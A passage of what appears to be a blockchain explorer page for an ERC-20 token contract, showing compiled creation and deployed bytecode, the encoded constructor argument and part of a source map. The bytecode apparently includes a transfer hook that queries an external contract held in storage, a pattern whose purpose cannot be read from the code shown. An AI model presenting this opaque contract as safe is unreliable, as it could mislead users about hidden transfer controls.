21680620007bc57607f821691505b60208210811415620007d357620007d262000808565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b6200084f816200078c565b81146200085b57600080fd5b50565b6117cd806200086e6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063f2fde38b14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806342ca62301461018e575b600080fd5b6100dc61029c565b6040516100e991906113b2565b60405180910390f35b61010c60048036038101906101079190611023565b61032e565b6040516101199190611397565b60405180910390f35b61012a610345565b6040516101379190611494565b60405180910390f35b61015a60048036038101906101559190610fd4565b61034f565b6040516101679190611397565b60405180910390f35b61017861041a565b60405161018591906114af565b60405180910390f35b6101a860048036038101906101a39190611088565b610431565b005b6101c460048036038101906101bf9190610f6f565b61044b565b6040516101d19190611494565b60405180910390f35b6101e2610494565b005b6101ec610515565b6040516101f9919061137c565b60405180910390f35b61020a61053e565b60405161021791906113b2565b60405180910390f35b61023a60048036038101906102359190611023565b6105d0565b6040516102479190611397565b60405180910390f35b61026a60048036038101906102659190610f98565b6105e7565b6040516102779190611494565b60405180910390f35b61029a60048036038101906102959190610f6f565b61066e565b005b6060600580546102ab90611634565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611634565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600061033b338484610775565b6001905092915050565b6000600854905090565b600061035c848484610940565b61040f843361040a8560405180606001604052806028815260200161177060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd99092919063ffffffff16565b610775565b600190509392505050565b6000600760009054906101000a900460ff16905090565b80600d9080519060200190610447929190610e25565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b3610515565b73ffffffffffffffffffffffffffffffffffffffff1614610509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050090611434565b60405180910390fd5b6105136000610c2e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461054d90611634565b80601f016020809104026020016040519081016040528092919081815260200182805461057990611634565b80156105c65780601f1061059b576101008083540402835291602001916105c6565b820191906000526020600020905b8154815290600101906020018083116105a957829003601f168201915b5050505050905090565b60006105dd338484610940565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661068d610515565b73ffffffffffffffffffffffffffffffffffffffff16146106e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106da90611434565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a906113f4565b60405180910390fd5b61075c81610c2e565b50565b6000818361076d9190611547565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc90611474565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c90611414565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109339190611494565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a790611454565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a17906113d4565b60405180910390fd5b610a2b838383610cf2565b610a978160405180606001604052806026815260200161174a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd99092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2c81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461075f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bcc9190611494565b60405180910390a3505050565b6000838311158290610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1891906113b2565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ea780dcc866040518263ffffffff1660e01b8152600401610d50919061137c565b60206040518083038186803b158015610d6857600080fd5b505afa158015610d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da0919061105f565b90508015610db95781925060008311610db857600080fd5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f05f4d5a6d67ddc082e81f4d541df9e2a84530a6907a43340bea758775774b07685604051610e169190611494565b60405180910390a35050505050565b828054610e3190611634565b90600052602060002090601f016020900481019282610e535760008555610e9a565b82601f10610e6c57805160ff1916838001178555610e9a565b82800160010185558215610e9a579182015b82811115610e99578251825591602001919060010190610e7e565b5b509050610ea79190610eab565b5090565b5b80821115610ec4576000816000905550600101610eac565b5090565b6000610edb610ed6846114fb565b6114ca565b905082815260208101848484011115610ef357600080fd5b610efe8482856115f2565b509392505050565b600081359050610f1581611704565b92915050565b600081519050610f2a8161171b565b92915050565b600082601f830112610f4157600080fd5b8135610f51848260208601610ec8565b91505092915050565b600081359050610f6981611732565b92915050565b600060208284031215610f8157600080fd5b6000610f8f84828501610f06565b91505092915050565b60008060408385031215610fab57600080fd5b6000610fb985828601610f06565b9250506020610fca85828601610f06565b9150509250929050565b600080600060608486031215610fe957600080fd5b6000610ff786828701610f06565b935050602061100886828701610f06565b925050604061101986828701610f5a565b9150509250925092565b6000806040838503121561103657600080fd5b600061104485828601610f06565b925050602061105585828601610f5a565b9150509250929050565b60006020828403121561107157600080fd5b600061107f84828501610f1b565b91505092915050565b60006020828403121561109a57600080fd5b600082013567ffffffffffffffff8111156110b457600080fd5b6110c084828501610f30565b91505092915050565b6110d28161159d565b82525050565b6110e1816115af565b82525050565b60006110f28261152b565b6110fc8185611536565b935061110c818560208601611601565b611115816116f3565b840191505092915050565b600061112d602383611536565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611193602683611536565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111f9602283611536565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061125f602083611536565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061129f602583611536565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611305602483611536565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611367816115db565b82525050565b611376816115e5565b82525050565b600060208201905061139160008301846110c9565b92915050565b60006020820190506113ac60008301846110d8565b92915050565b600060208201905081810360008301526113cc81846110e7565b905092915050565b600060208201905081810360008301526113ed81611120565b9050919050565b6000602082019050818103600083015261140d81611186565b9050919050565b6000602082019050818103600083015261142d816111ec565b9050919050565b6000602082019050818103600083015261144d81611252565b9050919050565b6000602082019050818103600083015261146d81611292565b9050919050565b6000602082019050818103600083015261148d816112f8565b9050919050565b60006020820190506114a9600083018461135e565b92915050565b60006020820190506114c4600083018461136d565b92915050565b6000604051905081810181811067ffffffffffffffff821117156114f1576114f06116c4565b5b8060405250919050565b600067ffffffffffffffff821115611516576115156116c4565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611552826115db565b915061155d836115db565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561159257611591611666565b5b828201905092915050565b60006115a8826115bb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561161f578082015181840152602081019050611604565b8381111561162e576000848401525b50505050565b6000600282049050600182168061164c57607f821691505b602082108114156116605761165f611695565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b61170d8161159d565b811461171857600080fd5b50565b611724816115af565b811461172f57600080fd5b50565b61173b816115db565b811461174657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e72604629b52d13fc59ae545cb4a3e97447a1619a24f1c3ad99943537954461464736f6c634300080000330000000000000000000000000000000000000000000000000000000005f5e100

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063f2fde38b14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806342ca62301461018e575b600080fd5b6100dc61029c565b6040516100e991906113b2565b60405180910390f35b61010c60048036038101906101079190611023565b61032e565b6040516101199190611397565b60405180910390f35b61012a610345565b6040516101379190611494565b60405180910390f35b61015a60048036038101906101559190610fd4565b61034f565b6040516101679190611397565b60405180910390f35b61017861041a565b60405161018591906114af565b60405180910390f35b6101a860048036038101906101a39190611088565b610431565b005b6101c460048036038101906101bf9190610f6f565b61044b565b6040516101d19190611494565b60405180910390f35b6101e2610494565b005b6101ec610515565b6040516101f9919061137c565b60405180910390f35b61020a61053e565b60405161021791906113b2565b60405180910390f35b61023a60048036038101906102359190611023565b6105d0565b6040516102479190611397565b60405180910390f35b61026a60048036038101906102659190610f98565b6105e7565b6040516102779190611494565b60405180910390f35b61029a60048036038101906102959190610f6f565b61066e565b005b6060600580546102ab90611634565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611634565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600061033b338484610775565b6001905092915050565b6000600854905090565b600061035c848484610940565b61040f843361040a8560405180606001604052806028815260200161177060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd99092919063ffffffff16565b610775565b600190509392505050565b6000600760009054906101000a900460ff16905090565b80600d9080519060200190610447929190610e25565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b3610515565b73ffffffffffffffffffffffffffffffffffffffff1614610509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050090611434565b60405180910390fd5b6105136000610c2e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461054d90611634565b80601f016020809104026020016040519081016040528092919081815260200182805461057990611634565b80156105c65780601f1061059b576101008083540402835291602001916105c6565b820191906000526020600020905b8154815290600101906020018083116105a957829003601f168201915b5050505050905090565b60006105dd338484610940565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661068d610515565b73ffffffffffffffffffffffffffffffffffffffff16146106e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106da90611434565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a906113f4565b60405180910390fd5b61075c81610c2e565b50565b6000818361076d9190611547565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc90611474565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c90611414565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109339190611494565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a790611454565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a17906113d4565b60405180910390fd5b610a2b838383610cf2565b610a978160405180606001604052806026815260200161174a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd99092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2c81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461075f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bcc9190611494565b60405180910390a3505050565b6000838311158290610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1891906113b2565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ea780dcc866040518263ffffffff1660e01b8152600401610d50919061137c565b60206040518083038186803b158015610d6857600080fd5b505afa158015610d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da0919061105f565b90508015610db95781925060008311610db857600080fd5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f05f4d5a6d67ddc082e81f4d541df9e2a84530a6907a43340bea758775774b07685604051610e169190611494565b60405180910390a35050505050565b828054610e3190611634565b90600052602060002090601f016020900481019282610e535760008555610e9a565b82601f10610e6c57805160ff1916838001178555610e9a565b82800160010185558215610e9a579182015b82811115610e99578251825591602001919060010190610e7e565b5b509050610ea79190610eab565b5090565b5b80821115610ec4576000816000905550600101610eac565b5090565b6000610edb610ed6846114fb565b6114ca565b905082815260208101848484011115610ef357600080fd5b610efe8482856115f2565b509392505050565b600081359050610f1581611704565b92915050565b600081519050610f2a8161171b565b92915050565b600082601f830112610f4157600080fd5b8135610f51848260208601610ec8565b91505092915050565b600081359050610f6981611732565b92915050565b600060208284031215610f8157600080fd5b6000610f8f84828501610f06565b91505092915050565b60008060408385031215610fab57600080fd5b6000610fb985828601610f06565b9250506020610fca85828601610f06565b9150509250929050565b600080600060608486031215610fe957600080fd5b6000610ff786828701610f06565b935050602061100886828701610f06565b925050604061101986828701610f5a565b9150509250925092565b6000806040838503121561103657600080fd5b600061104485828601610f06565b925050602061105585828601610f5a565b9150509250929050565b60006020828403121561107157600080fd5b600061107f84828501610f1b565b91505092915050565b60006020828403121561109a57600080fd5b600082013567ffffffffffffffff8111156110b457600080fd5b6110c084828501610f30565b91505092915050565b6110d28161159d565b82525050565b6110e1816115af565b82525050565b60006110f28261152b565b6110fc8185611536565b935061110c818560208601611601565b611115816116f3565b840191505092915050565b600061112d602383611536565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611193602683611536565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111f9602283611536565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061125f602083611536565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061129f602583611536565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611305602483611536565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611367816115db565b82525050565b611376816115e5565b82525050565b600060208201905061139160008301846110c9565b92915050565b60006020820190506113ac60008301846110d8565b92915050565b600060208201905081810360008301526113cc81846110e7565b905092915050565b600060208201905081810360008301526113ed81611120565b9050919050565b6000602082019050818103600083015261140d81611186565b9050919050565b6000602082019050818103600083015261142d816111ec565b9050919050565b6000602082019050818103600083015261144d81611252565b9050919050565b6000602082019050818103600083015261146d81611292565b9050919050565b6000602082019050818103600083015261148d816112f8565b9050919050565b60006020820190506114a9600083018461135e565b92915050565b60006020820190506114c4600083018461136d565b92915050565b6000604051905081810181811067ffffffffffffffff821117156114f1576114f06116c4565b5b8060405250919050565b600067ffffffffffffffff821115611516576115156116c4565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611552826115db565b915061155d836115db565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561159257611591611666565b5b828201905092915050565b60006115a8826115bb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561161f578082015181840152602081019050611604565b8381111561162e576000848401525b50505050565b6000600282049050600182168061164c57607f821691505b602082108114156116605761165f611695565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b61170d8161159d565b811461171857600080fd5b50565b611724816115af565b811461172f57600080fd5b50565b61173b816115db565b811461174657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e72604629b52d13fc59ae545cb4a3e97447a1619a24f1c3ad99943537954461464736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000005f5e100

-----Decoded View---------------
Arg [0] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000005f5e100


Deployed Bytecode Sourcemap

15991:6670:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17369:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19135:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18005:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20181:450;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17849:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21743:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18176:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1101:94;;;:::i;:::-;;452:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17204:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18546:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18807:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1350:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17369:91;17414:13;17447:5;17440:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17369:91;:::o;19135:192::-;19238:4;19260:37;19269:10;19281:7;19290:6;19260:8;:37::i;:::-;19315:4;19308:11;;19135:192;;;;:::o;18005:108::-;18066:7;18093:12;;18086:19;;18005:108;:::o;20181:450::-;20321:4;20338:36;20348:6;20356:9;20367:6;20338:9;:36::i;:::-;20385:216;20408:6;20429:10;20454:136;20508:6;20454:136;;;;;;;;;;;;;;;;;:11;:19;20466:6;20454:19;;;;;;;;;;;;;;;:31;20474:10;20454:31;;;;;;;;;;;;;;;;:35;;:136;;;;;:::i;:::-;20385:8;:216::i;:::-;20619:4;20612:11;;20181:450;;;;;:::o;17849:91::-;17898:5;17923:9;;;;;;;;;;;17916:16;;17849:91;:::o;21743:97::-;21822:10;21812:7;:20;;;;;;;;;;;;:::i;:::-;;21743:97;:::o;18176:157::-;18275:7;18307:9;:18;18317:7;18307:18;;;;;;;;;;;;;;;;18300:25;;18176:157;;;:::o;1101:94::-;683:10;672:21;;:7;:5;:7::i;:::-;:21;;;664:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1166:21:::1;1184:1;1166:9;:21::i;:::-;1101:94::o:0;452:87::-;498:7;525:6;;;;;;;;;;;518:13;;452:87;:::o;17204:95::-;17251:13;17284:7;17277:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17204:95;:::o;18546:198::-;18652:4;18674:40;18684:10;18696:9;18707:6;18674:9;:40::i;:::-;18732:4;18725:11;;18546:198;;;;:::o;18807:181::-;18921:7;18953:11;:18;18965:5;18953:18;;;;;;;;;;;;;;;:27;18972:7;18953:27;;;;;;;;;;;;;;;;18946:34;;18807:181;;;;:::o;1350:192::-;683:10;672:21;;:7;:5;:7::i;:::-;:21;;;664:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1459:1:::1;1439:22;;:8;:22;;;;1431:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1515:19;1525:8;1515:9;:19::i;:::-;1350:192:::0;:::o;11846:98::-;11904:7;11935:1;11931;:5;;;;:::i;:::-;11924:12;;11846:98;;;;:::o;22278:380::-;22431:1;22414:19;;:5;:19;;;;22406:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22512:1;22493:21;;:7;:21;;;;22485:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22596:6;22566:11;:18;22578:5;22566:18;;;;;;;;;;;;;;;:27;22585:7;22566:27;;;;;;;;;;;;;;;:36;;;;22634:7;22618:32;;22627:5;22618:32;;;22643:6;22618:32;;;;;;:::i;:::-;;;;;;;;22278:380;;;:::o;21121:608::-;21279:1;21261:20;;:6;:20;;;;21253:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;21363:1;21342:23;;:9;:23;;;;21334:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;21418:47;21439:6;21447:9;21458:6;21418:20;:47::i;:::-;21496:108;21532:6;21496:108;;;;;;;;;;;;;;;;;:9;:17;21506:6;21496:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;21476:9;:17;21486:6;21476:17;;;;;;;;;;;;;;;:128;;;;21638:32;21663:6;21638:9;:20;21648:9;21638:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;21615:9;:20;21625:9;21615:20;;;;;;;;;;;;;;;:55;;;;21703:9;21686:35;;21695:6;21686:35;;;21714:6;21686:35;;;;;;:::i;:::-;;;;;;;;21121:608;;;:::o;13477:224::-;13597:7;13647:1;13642;:6;;13650:12;13634:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;13685:1;13681;:5;13674:12;;13477:224;;;;;:::o;1550:173::-;1606:16;1625:6;;;;;;;;;;;1606:25;;1651:8;1642:6;;:17;;;;;;;;;;;;;;;;;;1706:8;1675:40;;1696:8;1675:40;;;;;;;;;;;;1550:173;;:::o;19335:364::-;19443:13;19471:12;19505:14;;;;;;;;;;;19486:47;;;19534:6;19486:55;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19471:70;;19555:7;19552:86;;;19587:5;19578:14;;19624:1;19615:6;:10;19607:19;;;;;;19552:86;19673:9;19653:38;;19665:6;19653:38;;;19684:6;19653:38;;;;;;:::i;:::-;;;;;;;;19335:364;;;;;:::o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:344:1:-;;110:65;125:49;167:6;125:49;:::i;:::-;110:65;:::i;:::-;101:74;;198:6;191:5;184:21;236:4;229:5;225:16;274:3;265:6;260:3;256:16;253:25;250:2;;;291:1;288;281:12;250:2;304:41;338:6;333:3;328;304:41;:::i;:::-;91:260;;;;;;:::o;357:139::-;;441:6;428:20;419:29;;457:33;484:5;457:33;:::i;:::-;409:87;;;;:::o;502:137::-;;587:6;581:13;572:22;;603:30;627:5;603:30;:::i;:::-;562:77;;;;:::o;659:273::-;;764:3;757:4;749:6;745:17;741:27;731:2;;782:1;779;772:12;731:2;822:6;809:20;847:79;922:3;914:6;907:4;899:6;895:17;847:79;:::i;:::-;838:88;;721:211;;;;;:::o;938:139::-;;1022:6;1009:20;1000:29;;1038:33;1065:5;1038:33;:::i;:::-;990:87;;;;:::o;1083:262::-;;1191:2;1179:9;1170:7;1166:23;1162:32;1159:2;;;1207:1;1204;1197:12;1159:2;1250:1;1275:53;1320:7;1311:6;1300:9;1296:22;1275:53;:::i;:::-;1265:63;;1221:117;1149:196;;;;:::o;1351:407::-;;;1476:2;1464:9;1455:7;1451:23;1447:32;1444:2;;;1492:1;1489;1482:12;1444:2;1535:1;1560:53;1605:7;1596:6;1585:9;1581:22;1560:53;:::i;:::-;1550:63;;1506:117;1662:2;1688:53;1733:7;1724:6;1713:9;1709:22;1688:53;:::i;:::-;1678:63;;1633:118;1434:324;;;;;:::o;1764:552::-;